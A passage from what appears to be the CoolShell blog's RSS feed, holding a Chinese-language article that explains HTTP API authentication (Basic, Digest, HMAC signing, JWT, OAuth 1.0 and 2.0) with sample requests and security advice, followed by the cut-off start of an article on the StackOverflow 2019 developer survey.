    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19464.html/feed + 118 + + +
    + + HTTP API 认证授权术 + https://coolshell.cn/articles/19395.html + https://coolshell.cn/articles/19395.html#comments + + + Thu, 09 May 2019 21:37:29 +0000 + + + + + + + + + https://coolshell.cn/?p=19395 + + Read More Read More

    ]]>
    + 我们知道,HTTP是无状态的,所以,当我们需要获得用户是否在登录的状态时,我们需要检查用户的登录状态,一般来说,用户的登录成功后,服务器会发一个登录凭证(又被叫作Token),就像你去访问某个公司,在前台被认证过合法后,这个公司的前台会给你的一个访客卡一样,之后,你在这个公司内去到哪都用这个访客卡来开门,而不再校验你是哪一个人。在计算机的世界里,这个登录凭证的相关数据会放在两种地方,一个地方在用户端,以Cookie的方式(一般不会放在浏览器的Local Storage,因为这很容易出现登录凭证被XSS攻击),另一个地方是放在服务器端,又叫Session的方式(SessonID存于Cookie)。

    +

    但是,这个世界还是比较复杂的,除了用户访问,还有用户委托的第三方的应用,还有企业和企业间的调用,这里,我想把业内常用的一些 API认证技术相对系统地总结归纳一下,这样可以让大家更为全面的了解这些技术。注意,这是一篇长文!

    +

    本篇文章会覆盖如下技术:

    +
      +
    • HTTP Basic
    • +
    • Digest Access
    • +
    • App Secret Key + HMAC
    • +
    • JWT – JSON Web Tokens
    • +
    • OAuth 1.0 – 3 legged & 2 legged
    • +
    • OAuth 2.0 – Authentication Code & Client Credential
    • +
    +

    +

    HTTP Basic

    +

    HTTP Basic 是一个非常传统的API认证技术,也是一个比较简单的技术。这个技术也就是使用 usernamepassword 来进行登录。整个过程被定义在了 RFC 2617 中,也被描述在了 Wikipedia: Basic Access Authentication 词条中,同时也可以参看 MDN HTTP Authentication

    +

    其技术原理如下:

    +
      +
    1. usernamepassword 做成  username:password 的样子(用冒号分隔)
    2. +
    3. 进行Base64编码。Base64("username:password") 得到一个字符串(如:把 haoel:coolshell 进行base64 后可以得到 aGFvZW86Y29vbHNoZWxsCg
    4. +
    5. aGFvZW86Y29vbHNoZWxsCg放到HTTP头中 Authorization 字段中,形成 Authorization: Basic aGFvZW86Y29vbHNoZWxsCg,然后发送到服务端。
    6. +
    7. 服务端如果没有在头里看到认证字段,则返回401错,以及一个个WWW-Authenticate: Basic Realm='HelloWorld' 之类的头要求客户端进行认证。之后如果没有认证通过,则返回一个401错。如果服务端认证通过,那么会返回200。
    8. +
    +

    我们可以看到,使用Base64的目的无非就是为了把一些特殊的字符给搞掉,这样就可以放在HTTP协议里传输了。而这种方式的问题最大的问题就是把用户名和口令放在网络上传,所以,一般要配合TLS/SSL的安全加密方式来使用。我们可以看到 JIRA Cloud 的API认证支持HTTP Basic 这样的方式。

    +

    但我们还是要知道,这种把用户名和密码同时放在公网上传输的方式有点不太好,因为Base64不是加密协议,而是编码协议,所以就算是有HTTPS作为安全保护,给人的感觉还是不放心。

    +

    Digest Access

    +

    中文称“HTTP 摘要认证”,最初被定义在了 RFC 2069 文档中(后来被 RFC 2617 引入了一系列安全增强的选项;“保护质量”(qop)、随机数计数器由客户端增加、以及客户生成的随机数)。

    +

    其基本思路是,请求方把用户名口令和域做一个MD5 –  MD5(username:realm:password) 然后传给服务器,这样就不会在网上传用户名和口令了,但是,因为用户名和口令基本不会变,所以,这个MD5的字符串也是比较固定的,因此,这个认证过程在其中加入了两个事,一个是 nonce 另一个是 qop

    +
      +
    • 首先,调用方发起一个普通的HTTP请求。比如:GET /coolshell/admin/ HTTP/1.1
    • +
    • 服务端自然不能认证能过,服务端返回401错误,并且在HTTP头里的 WWW-Authenticate 包含如下信息:
    • +
    +
     WWW-Authenticate: Digest realm="testrealm@host.com",
    +                        qop="auth,auth-int",
    +                        nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
    +                        opaque="5ccc069c403ebaf9f0171e9517f40e41"
    +
      +
    • 其中的 nonce 为服务器端生成的随机数,然后,客户端做 HASH1=MD5(MD5(username:realm:password):nonce:cnonce) ,其中的 cnonce 为客户端生成的随机数,这样就可以使得整个MD5的结果是不一样的。
    • +
    • 如果 qop 中包含了 auth ,那么还得做  HASH2=MD5(method:digestURI) 其中的 method 就是HTTP的请求方法(GET/POST…),digestURI 是请求的URL。
    • +
    • 如果 qop 中包含了 auth-init ,那么,得做  HASH2=MD5(method:digestURI:MD5(entityBody)) 其中的 entityBody 就是HTTP请求的整个数据体。
    • +
    • 然后,得到 response = MD5(HASH1:nonce:nonceCount:cnonce:qop:HASH2) 如果没有 qopresponse = MD5(HA1:nonce:HA2)
    • +
    • 最后,我们的客户端对服务端发起如下请求—— 注意HTTP头的 Authorization: Digest ...
    • +
    +
    GET /dir/index.html HTTP/1.0
    +Host: localhost
    +Authorization: Digest username="Mufasa",
    +                     realm="testrealm@host.com",
    +                     nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
    +                     uri="%2Fcoolshell%2Fadmin",
    +                     qop=auth,
    +                     nc=00000001,
    +                     cnonce="0a4f113b",
    +                     response="6629fae49393a05397450978507c4ef1",
    +                     opaque="5ccc069c403ebaf9f0171e9517f40e41"
    +

    维基百科上的 Wikipedia: Digest access authentication 词条非常详细地描述了这个细节。

    +

    摘要认证这个方式会比之前的方式要好一些,因为没有在网上传递用户的密码,而只是把密码的MD5传送过去,相对会比较安全,而且,其并不需要是否TLS/SSL的安全链接。但是,别看这个算法这么复杂,最后你可以发现,整个过程其实关键是用户的password,这个password如果不够得杂,其实是可以被暴力破解的,而且,整个过程是非常容易受到中间人攻击——比如一个中间人告诉客户端需要的 Basic 的认证方式 或是 老旧签名认证方式(RFC2069)。

    +

    App Secret Key + HMAC

    +

    先说HMAC技术,这个东西来自于MAC – Message Authentication Code,是一种用于给消息签名的技术,也就是说,我们怕消息在传递的过程中被人修改,所以,我们需要用对消息进行一个MAC算法,得到一个摘要字串,然后,接收方得到消息后,进行同样的计算,然后比较这个MAC字符串,如果一致,则表明没有被修改过(整个过程参看下图)。而HMAC – Hash-based Authenticsation Code,指的是利用Hash技术完成这一工作,比如:SHA-256算法。

    +

     

    +

    +

    (图片来自 Wikipedia – MAC 词条

    +

    我们再来说App ID,这个东西跟验证没有关系,只是用来区分,是谁来调用API的,就像我们每个人的身份证一样,只是用来标注不同的人,不是用来做身份认证的。与前面的不同之处是,这里,我们需要用App ID 来映射一个用于加密的密钥,这样一来,我们就可以在服务器端进行相关的管理,我们可以生成若干个密钥对(AppID, AppSecret),并可以有更细粒度的操作权限管理。

    +

    把AppID和HMAC用于API认证,目前来说,玩得最好最专业的应该是AWS了,我们可以通过S3的API请求签名文档看到AWS是怎么玩的。整个过程还是非常复杂的,可以通过下面的图片流程看个大概。基本上来说,分成如下几个步骤:

    +
      +
    1. 把HTTP的请求(方法、URI、查询字串、头、签名头,body)打个包叫 CanonicalRequest,作个SHA-256的签名,然后再做一个base16的编码
    2. +
    3. 把上面的这个签名和签名算法 AWS4-HMAC-SHA256、时间戳、Scop,再打一个包,叫 StringToSign
    4. +
    5. 准备签名,用 AWSSecretAccessKey来对日期签一个 DataKey,再用 DataKey 对要操作的Region签一个 DataRegionKey ,再对相关的服务签一个DataRegionServiceKey ,最后得到 SigningKey.
    6. +
    7. 用第三步的 SigningKey来对第二步的 StringToSign 签名。
    8. +
    +

    +

     

    +

    最后,发出HTTP Request时,在HTTP头的 Authorization字段中放入如下的信息:

    +
    Authorization: AWS4-HMAC-SHA256 
    +               Credential=AKIDEXAMPLE/20150830/us-east-1/iam/aws4_request, 
    +               SignedHeaders=content-type;host;x-amz-date, 
    +               Signature=5d672d79c15b13162d9279b0855cfba6789a8edb4c82c400e06b5924a6f2b5d7
    +
    +

     

    +

    其中的  AKIDEXAMPLE 是 AWS Access Key ID, 也就是所谓的 AppID,服务器端会根据这个AppID来查相关的 Secret Access Key,然后再验证签名。如果,你对这个过程有点没看懂的话,你可以读一读这篇文章——《Amazon S3 Rest API with curl》这篇文章里有好些代码,代码应该是最有细节也是最准确的了。

    +

    这种认证的方式好处在于,AppID和AppSecretKey,是由服务器的系统开出的,所以,是可以被管理的,AWS的IAM就是相关的管理,其管理了用户、权限和其对应的AppID和AppSecretKey。但是不好的地方在于,这个东西没有标准 ,所以,各家的实现很不一致。比如: Acquia 的 HMAC微信的签名算法 (这里,我们需要说明一下,微信的API没有遵循HTTP协议的标准,把认证信息放在HTTP 头的 Authorization 里,而是放在body里)

    +

    JWT – JSON Web Tokens

    +

    JWT是一个比较标准的认证解决方案,这个技术在Java圈里应该用的是非常普遍的。JWT签名也是一种MAC(Message Authentication Code)的方法。JWT的签名流程一般是下面这个样子:

    +
      +
    1. 用户使用用户名和口令到认证服务器上请求认证。
    2. +
    3. 认证服务器验证用户名和口令后,以服务器端生成JWT Token,这个token的生成过程如下: +
        +
      • 认证服务器还会生成一个 Secret Key(密钥)
      • +
      • 对JWT Header和 JWT Payload分别求Base64。在Payload可能包括了用户的抽象ID和的过期时间。
      • +
      • 用密钥对JWT签名 HMAC-SHA256(SecertKey, Base64UrlEncode(JWT-Header)+'.'+Base64UrlEncode(JWT-Payload));
      • +
      +
    4. +
    5. 然后把 base64(header).base64(payload).signature 作为 JWT token返回客户端。
    6. +
    7. 客户端使用JWT Token向应用服务器发送相关的请求。这个JWT Token就像一个临时用户权证一样。
    8. +
    +

    当应用服务器收到请求后:

    +
      +
    1. 应用服务会检查 JWT  Token,确认签名是正确的。
    2. +
    3. 然而,因为只有认证服务器有这个用户的Secret Key(密钥),所以,应用服务器得把JWT Token传给认证服务器。
    4. +
    5. 认证服务器通过JWT Payload 解出用户的抽象ID,然后通过抽象ID查到登录时生成的Secret Key,然后再来检查一下签名。
    6. +
    7. 认证服务器检查通过后,应用服务就可以认为这是合法请求了。
    8. +
    +

    我们可以看以,上面的这个过程,是在认证服务器上为用户动态生成 Secret Key的,应用服务在验签的时候,需要到认证服务器上去签,这个过程增加了一些网络调用,所以,JWT除了支持HMAC-SHA256的算法外,还支持RSA的非对称加密的算法。

    +

    使用RSA非对称算法,在认证服务器这边放一个私钥,在应用服务器那边放一个公钥,认证服务器使用私钥加密,应用服务器使用公钥解密,这样一来,就不需要应用服务器向认证服务器请求了,但是,RSA是一个很慢的算法,所以,虽然你省了网络调用,但是却费了CPU,尤其是Header和Payload比较长的时候。所以,一种比较好的玩法是,如果我们把header 和 payload简单地做SHA256,这会很快,然后,我们用RSA加密这个SHA256出来的字符串,这样一来,RSA算法就比较快了,而我们也做到了使用RSA签名的目的。

    +

    最后,我们只需要使用一个机制在认证服务器和应用服务器之间定期地换一下公钥私钥对就好了。

    +

    这里强烈建议全文阅读 Anglar 大学的 《JSW:The Complete Guide to JSON Web Tokens

    +

    OAuth 1.0

    +

    OAuth也是一个API认证的协议,这个协议最初在2006年由Twitter的工程师在开发OpenID实现的时候和社交书签网站Ma.gnolia时发现,没有一种好的委托授权协议,后来在2007年成立了一个OAuth小组,知道这个消息后,Google员工也加入进来,并完善有善了这个协议,在2007年底发布草案,过一年后,在2008年将OAuth放进了IETF作进一步的标准化工作,最后在2010年4月,正式发布OAuth 1.0,即:RFC 5849 (这个RFC比起TCP的那些来说读起来还是很轻松的),不过,如果你想了解其前身的草案,可以读一下 OAuth Core 1.0 Revision A ,我在下面做个大概的描述。

    +

    根据RFC 5849,可以看到 OAuth 的出现,目的是为了,用户为了想使用一个第三方的网络打印服务来打印他在某网站上的照片,但是,用户不想把自己的用户名和口令交给那个第三方的网络打印服务,但又想让那个第三方的网络打印服务来访问自己的照片,为了解决这个授权的问题,OAuth这个协议就出来了。

    +
      +
    • 这个协议有三个角色: +
        +
      • User(照片所有者-用户)
      • +
      • Consumer(第三方照片打印服务)
      • +
      • Service Provider(照片存储服务)
      • +
      +
    • +
    • 这个协义有三个阶段: +
        +
      • Consumer获取Request Token
      • +
      • Service Provider 认证用户并授权Consumer
      • +
      • Consumer获取Access Token调用API访问用户的照片
      • +
      +
    • +
    +

    整个授权过程是这样的:

    +
      +
    1. Consumer(第三方照片打印服务)需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret
    2. +
    3. 当 User 访问 Consumer 时,Consumer 向 Service Provide 发起请求请求Request Token (需要对HTTP请求签名)
    4. +
    5. Service Provide 验明 Consumer 是注册过的第三方服务商后,返回 Request Token(oauth_token)和 Request Token Secret (oauth_token_secret
    6. +
    7. Consumer 收到 Request Token 后,使用HTTP GET 请求把 User 切到 Service Provide 的认证页上(其中带上Request Token),让用户输入他的用户和口令。
    8. +
    9. Service Provider 认证 User 成功后,跳回 Consumer,并返回 Request Token (oauth_token)和 Verification Code(oauth_verifier
    10. +
    11. 接下来就是签名请求,用Request Token 和 Verification Code 换取 Access Token (oauth_token)和 Access Token Secret (oauth_token_secret)
    12. +
    13. 最后使用Access Token 访问用户授权访问的资源。
    14. +
    +

    下图附上一个Yahoo!的流程图可以看到整个过程的相关细节。

    +

    +

    因为上面这个流程有三方:User,Consumer 和 Service Provide,所以,又叫 3-legged flow,三脚流程。OAuth 1.0 也有不需要用户参与的,只有Consumer 和 Service Provider 的, 也就是 2-legged flow 两脚流程,其中省掉了用户认证的事。整个过程如下所示:

    +
      +
    1. Consumer(第三方照片打印服务)需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret
    2. +
    3. Consumer 向 Service Provide 发起请求请求Request Token (需要对HTTP请求签名)
    4. +
    5. Service Provide 验明 Consumer 是注册过的第三方服务商后,返回 Request Token(oauth_token)和 Request Token Secret (oauth_token_secret
    6. +
    7. Consumer 收到 Request Token 后,直接换取 Access Token (oauth_token)和 Access Token Secret (oauth_token_secret)
    8. +
    9. 最后使用Access Token 访问用户授权访问的资源。
    10. +
    +

    最后,再来说一说OAuth中的签名。

    +
      +
    • 我们可以看到,有两个密钥,一个是Consumer注册Service Provider时由Provider颁发的 Consumer Secret,另一个是 Token Secret。
    • +
    • 签名密钥就是由这两具密钥拼接而成的,其中用 &作连接符。假设 Consumer Secret 为 j49sk3j29djd 而 Token Secret 为dh893hdasih9那个,签名密钥为:j49sk3j29djd&dh893hdasih9
    • +
    • 在请求Request/Access Token的时候需要对整个HTTP请求进行签名(使用HMAC-SHA1和HMAC-RSA1签名算法),请求头中需要包括一些OAuth需要的字段,如: +
        +
      • Consumer Key : 也就是所谓的AppID
      • +
      • Token: Request Token 或 Access Token
      • +
      • Signature Method :签名算法比如:HMAC-SHA1
      • +
      • Timestamp:过期时间
      • +
      • Nonce:随机字符串
      • +
      • Call Back:回调URL
      • +
      +
    • +
    +

    下图是整个签名的示意图:

    +

    +

    图片还是比较直观的,我就不多解释了。

    +

    OAuth 2.0

    +

    在前面,我们可以看到,从Digest Access, 到AppID+HMAC,再到JWT,再到OAuth 1.0,这些个API认证都是要向Client发一个密钥(或是用密码)然后用HASH或是RSA来签HTTP的请求,这其中有个主要的原因是,以前的HTTP是明文传输,所以,在传输过程中很容易被篡改,于是才搞出来一套的安全签名机制,所以,这些个认证的玩法是可以在HTTP明文协议下玩的。

    +

    这种使用签名方式大家可以看到是比较复杂的,所以,对于开发者来说,也是很不友好的,在组织签名的那些HTTP报文的时候,各种,URLEncode和Base64,还要对Query的参数进行排序,然后有的方法还要层层签名,非常容易出错,另外,这种认证的安全粒度比较粗,授权也比较单一,对于有终端用户参与的移动端来说也有点不够。所以,在2012年的时候,OAuth 2.0 的 RFC 6749 正式放出。

    +

    OAuth 2.0依赖于TLS/SSL的链路加密技术(HTTPS),完全放弃了签名的方式,认证服务器再也不返回什么 token secret 的密钥了,所以,OAuth 2.0是完全不同于1.0 的,也是不兼容的。目前,Facebook 的 Graph API 只支持OAuth 2.0协议,Google 和 Microsoft Azure 也支持Auth 2.0,国内的微信和支付宝也支持使用OAuth 2.0。

    +

    下面,我们来重点看一下OAuth 2.0的两个主要的Flow:

    +
      +
    • 一个是Authorization Code Flow, 这个是 3 legged 的
    • +
    • 一个是Client Credential Flow,这个是 2 legged 的。
    • +
    +
    Authorization Code Flow
    +

    Authorization Code 是最常使用的OAuth 2.0的授权许可类型,它适用于用户给第三方应用授权访问自己信息的场景。这个Flow也是OAuth 2.0四个Flow中我个人觉得最完整的一个Flow,其流程图如下所示。

    +

    +

     

    +

    下面是对这个流程的一个细节上的解释:

    +

    1)当用户(Resource Owner)访问第三方应用(Client)的时候,第三方应用会把用户带到认证服务器(Authorization Server)上去,主要请求的是 /authorize API,其中的请求方式如下所示。

    +
    https://login.authorization-server.com/authorize?
    +        client_id=6731de76-14a6-49ae-97bc-6eba6914391e
    +        &response_type=code
    +        &redirect_uri=http%3A%2F%2Fexample-client.com%2Fcallback%2F
    +        &scope=read
    +        &state=xcoiv98CoolShell3kch
    +

    其中:

    +
      +
    • +
        +
      • client_id为第三方应用的App ID
      • +
      • response_type=code为告诉认证服务器,我要走Authorization Code Flow。
      • +
      • redirect_uri意思是我跳转回第三方应用的URL
      • +
      • scope意是相关的权限
      • +
      • state 是一个随机的字符串,主要用于防CSRF攻击。
      • +
      +
    • +
    +

    2)当Authorization Server收到这个URL请求后,其会通过 client_id来检查 redirect_uriscope是否合法,如果合法,则弹出一个页面,让用户授权(如果用户没有登录,则先让用户登录,登录完成后,出现授权访问页面)。

    +

    3)当用户授权同意访问以后,Authorization Server 会跳转回 Client ,并以其中加入一个 Authorization Code。 如下所示:

    +
    https://example-client.com/callback?
    +        code=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG
    +        &state=xcoiv98CoolShell3kch
    +

    我们可以看到,

    +
      +
    • +
        +
      • 请流动的链接是第 1)步中的 redirect_uri
      • +
      • 其中的 state 的值也和第 1)步的 state一样。
      • +
      +
    • +
    +

    4)接下来,Client 就可以使用 Authorization Code 获得 Access Token。其需要向 Authorization Server 发出如下请求。

    +
    POST /oauth/token HTTP/1.1
    +Host: authorization-server.com
    + 
    +code=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG
    +&grant_type=code
    +&redirect_uri=https%3A%2F%2Fexample-client.com%2Fcallback%2F
    +&client_id=6731de76-14a6-49ae-97bc-6eba6914391e
    +&client_secret=JqQX2PNo9bpM0uEihUPzyrh
    +

    5)如果没什么问题,Authorization 会返回如下信息。

    +
    {
    +  "access_token": "iJKV1QiLCJhbGciOiJSUzI1NiI",
    +  "refresh_token": "1KaPlrEqdFSBzjqfTGAMxZGU",
    +  "token_type": "bearer",
    +  "expires": 3600,
    +  "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciO.eyJhdWQiOiIyZDRkM..."
    +}
    +

    其中,

    +
      +
    • +
        +
      • access_token就是访问请求令牌了
      • +
      • refresh_token用于刷新 access_token
      • +
      • id_token 是JWT的token,其中一般会包含用户的OpenID
      • +
      +
    • +
    +

    6)接下来就是用 Access Token 请求用户的资源了。

    +
    GET /v1/user/pictures
    +Host: https://example.resource.com
    +
    +Authorization: Bearer iJKV1QiLCJhbGciOiJSUzI1NiI
    +

     

    +
     Client Credential Flow
    +

    Client Credential 是一个简化版的API认证,主要是用于认证服务器到服务器的调用,也就是没有用户参与的的认证流程。下面是相关的流程图。

    +

    +

    这个过程非常简单,本质上就是Client用自己的 client_idclient_secret向Authorization Server 要一个 Access Token,然后使用Access Token访问相关的资源。

    +

    请求示例

    +
    POST /token HTTP/1.1
    +Host: server.example.com
    +Content-Type: application/x-www-form-urlencoded
    +
    +grant_type=client_credentials
    +&client_id=czZCaGRSa3F0Mzpn
    +&client_secret=7Fjfp0ZBr1KtDRbnfVdmIw
    +

    返回示例

    +
    {
    +  "access_token":"MTQ0NjJkZmQ5OTM2NDE1ZTZjNGZmZjI3",
    +  "token_type":"bearer",
    +  "expires_in":3600,
    +  "refresh_token":"IwOGYzYTlmM2YxOTQ5MGE3YmNmMDFkNTVk",
    +  "scope":"create"
    +}
    +

    这里,容我多扯一句,微信公从平台的开发文档中,使用了OAuth 2.0 的 Client Credentials的方式(参看文档“微信公众号获取access token”),我截了个图如下所谓。我们可以看到,微信公众号使用的是GET方式的请求,把AppID和AppSecret放在了URL中,虽然这也符合OAuth 2.0,但是并不好,因为大多数网关代理会把整个URI请求记到日志中。我们只要脑补一下腾讯的网关的Access Log,里面的日志一定会有很多的各个用户的AppID和AppSecret……

    +

    +

     

    +

    小结

    +

    讲了这么多,我们来小结一下(下面的小结可能会有点散)

    +
    两个概念和三个术语
    +
      +
    • 区分两个概念:Authentication(认证) 和 Authorization (授权),前者是证明请求者是身份,就像身份证一样,后者是为了获得权限。身份是区别于别人的证明,而权限是证明自己的特权。Authentication为了证明操作的这个人就是他本人,需要提供密码、短信验证码,甚至人脸识别。Authorization 则是不需要在所有的请求都需要验人,是在经过Authorization后得到一个Token,这就是Authorization。就像护照和签证一样。
    • +
    • 区分三个概念:编码Base64Encode、签名HMAC、加密RSA。编码是为了更的传输,等同于明文,签名是为了信息不能被篡改,加密是为了不让别人看到是什么信息。
    • +
    +
    明白一些初衷
    +
      +
    • 使用复杂地HMAC哈希签名方式主要是应对当年没有TLS/SSL加密链路的情况。
    • +
    • JWT把 uid 放在 Token中目的是为了去掉状态,但不能让用户修改,所以需要签名。
    • +
    • OAuth 1.0区分了两个事,一个是第三方的Client,一个是真正的用户,其先拿Request Token,再换Access Token的方法主要是为了把第三方应用和用户区分开来。
    • +
    • 用户的Password是用户自己设置的,复杂度不可控,服务端颁发的Serect会很复杂,但主要目的是为了容易管理,可以随时注销掉。
    • +
    • OAuth 协议有比所有认证协议有更为灵活完善的配置,如果使用AppID/AppSecret签名的方式,又需要做到可以有不同的权限和可以随时注销,那么你得开发一个像AWS的IAM这样的账号和密钥对管理的系统。
    • +
    +
    相关的注意事项
    +
      +
    • 无论是哪种方式,我们都应该遵循HTTP的规范,把认证信息放在 Authorization HTTP 头中。
    • +
    • 不要使用GET的方式在URL中放入secret之类的东西,因为很多proxy或gateway的软件会把整个URL记在Access Log文件中。
    • +
    • 密钥Secret相当于Password,但他是用来加密的,最好不要在网络上传输,如果要传输,最好使用TLS/SSL的安全链路。
    • +
    • HMAC中无论是MD5还是SHA1/SHA2,其计算都是非常快的,RSA的非对称加密是比较耗CPU的,尤其是要加密的字符串很长的时候。
    • +
    • 最好不要在程序中hard code 你的 Secret,因为在github上有很多黑客的软件在监视各种Secret,千万小心!这类的东西应该放在你的配置系统或是部署系统中,在程序启动时设置在配置文件或是环境变量中。
    • +
    • 使用AppID/AppSecret,还是使用OAuth1.0a,还是OAuth2.0,还是使用JWT,我个人建议使用TLS/SSL下的OAuth 2.0。
    • +
    • 密钥是需要被管理的,管理就是可以新增可以撤销,可以设置账户和相关的权限。最好密钥是可以被自动更换的。
    • +
    • 认证授权服务器(Authorization Server)和应用服务器(App Server)最好分开。
    • +
    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19395.html/feed + 53 + + +
    + + StackOverflow 2019 程序员调查 + https://coolshell.cn/articles/19307.html + https://coolshell.cn/articles/19307.html#comments + + + Sun, 21 Apr 2019 12:29:13 +0000 + + + + + + + https://coolshell.cn/?p=19307 + + Read More Read More

    ]]>
    + 前些天,StackOverflow 发布了 2019年的年度程序员调查,这个调查报查有90000名程序员参与,这份调度报告平均花了20分钟,可见,这份报告有很多的问题,也是很详细的。这份报告有一些地方,让我有了一些思考。

    +

    首先,我们先来看一下之份报告的 Key Results:

    +
      +
    • Python 成为了过去一年中成长最快的语言,把Java挤到了第二位,排在后面的是Rust语言。
    • +
    • 有半数以上的被访者在是在16岁写下自己的第一行代码。
    • +
    • DevOps Specialists 和 Site Reliability Engineers 是程序员中最有经验,技术最牛,薪资最好的职位。(这对应于国内的——系统架构师)
    • +
    • 在几个头部的程序员大国中,中国的程序员最乐观的,他们相信在今天出生的人会有比他们父母更好的人生。对于欧洲的程序员来说,比较法国和德国的程序员,他们对未来并不太乐观。
    • +
    • 对于最影响程序员生产力的事,不同的程序员有不同的想法。
    • +
    +

    +

    第一部分,Developer Profile

    +

    在第一部分中,我们可以看到,中国程序员参与这个调查的并不多,程序员主要集中在美国、欧洲、印度这三个地方。所以,这份报告更偏国际上一些。这对于我们中国程序员也有很大的帮助,因为一方面可以看到世界发展的趋势,另一方面也可以了解我们和世界有什么不一样。

    +

    对于技术职业来说,整个世界的程序员开始趋于全栈和后端,有51.9%的人是全栈,50%的人是后端,32.8%的人是前端……在这些人中,很多程序员都选了多项,中位数是3项,最常见是前端、后端和全栈全选的。然后,接下来是选两项的,选两项目的包括:数据库管理员和系统管理员,DevOps Specialist 和 Site Reliablility Engineer, 学术研究者和科学家,设计师和前端工程师。

    +

    从这些数据中我们可以看见:前后端的界限越来越不明显,设计师和前端的界限也开始模糊。这应该说明,工具和框架的成熟,让后端程序员和设计师也可以进入到前端工程师的领域,或是前端工程师开始进入后端和设计的领域。总之,复合型人才越来越越成为主流,而前后端也趋于一个相互融合的态势。

    +

    在接下来的图表中,我们可以看到有80%以上的人是把编程当成自己的爱好(包括相关的女性)。

    +

    真是应了那句话——“Programmers who don’t code in their spare time for fun will never become as good as those that do”,是的,如果你对编程没有感到一种快乐,没有在你空闲的时候去以一种的兴趣爱好方式去面对,那么,无论是编程,还是运动,还是去旅游,都不会有太多成效的。

    +

    在接下来的编程经验上,有两组如下的数据:

    + + + + + + + + + + + + + +
    学习编程的年限编程的年限
    +

    我们可以看到无论是学习还是编程,随着时间的拉长,其人数占比越来越少。

    +

    下面我们再来看一个年龄图:

    +

    +

    调查报告从20岁开始每隔5年划分一个年龄段,我们不难发现从25-29岁开始每个年龄段都比前一个年龄段人数急剧减少大约30-50%,比如25-29年龄段占总人数27.6%,而30-34则只有19.3%。以此类推,到60岁以上,就只剩1%。可以看出5年是大多数程序员的转型周期。这是合理的,因为5年时间足够一个人积累足够的经验技能为职业转型做准备。

    +

    我们也可以看到50岁以上的程序员只有4.2%,大约是参与调查人员的300多人,如果这些人20岁左右参加工作,那么说明他们在1990左右就开始写代码,事实上那个时间点别说是程序员了,连电脑用户都不多。电脑和互联网真正暴发的时间还是在1995年 – 2000年之间,不过,那个时间点程序员的总体人数也不多,而行业越来越火才会导致大量的人进入到这个行业中,这个转换过程基本上去需要3-5年,也就是从2000年后才开始有大量的人拥入程序员这个行业,程序员的人数在过去30年间也是呈增涨态势的,所以,我个人认为,所谓的“众多老程序员”的比例会被2005年以后大量拥入程序员行业的年青人所“稀释”。所以,上图的比例不能完全说明程序员是个青春饭

    +

    但是,我们还是要正视老牌资深的程序员越来越少的这个事实,在这份报告第三部分中说了一些和程序员职业生涯相关的调查,如下:

    +
      +
    • 在被问到有多少人对自己的职业满意的时。有40%的人觉得很满意,而有34.3%的人觉得一般满意,有10%的人说不清,还有15%的人是不满意的。可以看到有不少人是对这个职业生涯是有想法的。
    • +
    • 在被问到有多少人想转管理而可以挣得更多时。有30%的人是说想转的,有51%的人是明确不转的,还有20%的人是说不知道。可见,想转管理的人最多可能会有一半的人。
    • +
    • 在被问到有多少人想转管理时。有1/3的人是明确不想转的,而有1/4的人是明确是想转,而有36%的人则是不说,观望中。可见,的确是有很多想想转管理的。
    • +
    +

    我们可以看到,程序员中并不是所有的人都是可以坚持这么长时间的,这也挺正常的,对很大一部分人来说,对这个职业是有或多或少的不满意的,也有一部分人可能会随着技术的更新被淘汰,还有另外很大一部分人是想转管理的。所以,能够长时间地跟上形势长时间地喜欢写代码,并且对程序员这个的职业长期满意,不想转管理的,的确是为随时年龄的越大也越来越少

    +

    但我们完全可以看出来,程序员的主力军在20-40岁这个区间,而30岁左右的程序员是年富力强(经验和能力都很好)的黄金时间

    +

    老程序员在国外似乎不会存在多大的问题,但在国内会有一些问题,所以,对于像我一样喜欢写代码、打算长久做程序员的兄弟,这里分享一些相关的经验。

    +
      +
    1. 持续高效地学习。软件行业的新技术层出不穷,旧的技术淘汰很快,所以我们更要多多学习基础技术和原理,那些都是很难改变的,并且基础扎实了后,学习新的技术也才会更快速。其间我们也不要乱学新技术,我们要关注那些有潜力的技术,也就看准了再学(参看酷壳的《Go语言、Docker和新技术》)。注意,而是跟上大时代已经比较不容易,引领时代的人还是少数,所以,还是要更为高效地学习。
    2. +
    3. 积极面对他人的不解。 很多时候,总是会有人说:“到了你这个年纪怎么还在做程序员?”,这句话感觉就是对程序员这个职业的一种羞辱,社会的价值观感觉容不下大龄程序员。这个时候,我一般会跟他们解释到,我40来岁了,我觉得自己的状态还很好,工作完成没什么问题,偶尔加班到凌晨也行,新知识和技术我学起来不比年轻人慢,我在这个年纪有的经验比他们都多,而且,我这个年纪还在写代码,说明我真的喜欢这个事,像我这样的人能够长时间坚持做一个职业的人这个世界已经不多了,你们应该珍惜……
    4. +
    5. 找到自己的定位。我们需要做好职业规划、财务和心理方面的准备。40岁的程序员,所能竞争的一定是自己的认识和经验,所以,40岁以后如果你还是很喜欢这一行业,你的社会阅历和经历以及对这个社会的理解,可以让你做一些有创新的事,除此之外,你还可以做一个教练、老师、咨询、专家……,用你的经验和能力帮助下一代和一些中小型的公司,这不但是他们的刚需,同时也会让重新焕发的。
    6. +
    +

    第二部分,技术

    +

    首先,在这部分,主要是了解一些技术,这部分的技术可以给于程序员们一些指导。

    + + + + + + + + + + + + + +
    最流行的语言最热门的语言
    +

    我们可以看到,

    +
      +
    • Javascript/HTML/CSS是很多人都会用到的,后面的是SQL,这个也没什么问题,无论前后端的人,或多或少都会要用到的,这些技术感觉已经成为了基础必会的技术了,就像数中的加减乘除一样。
    • +
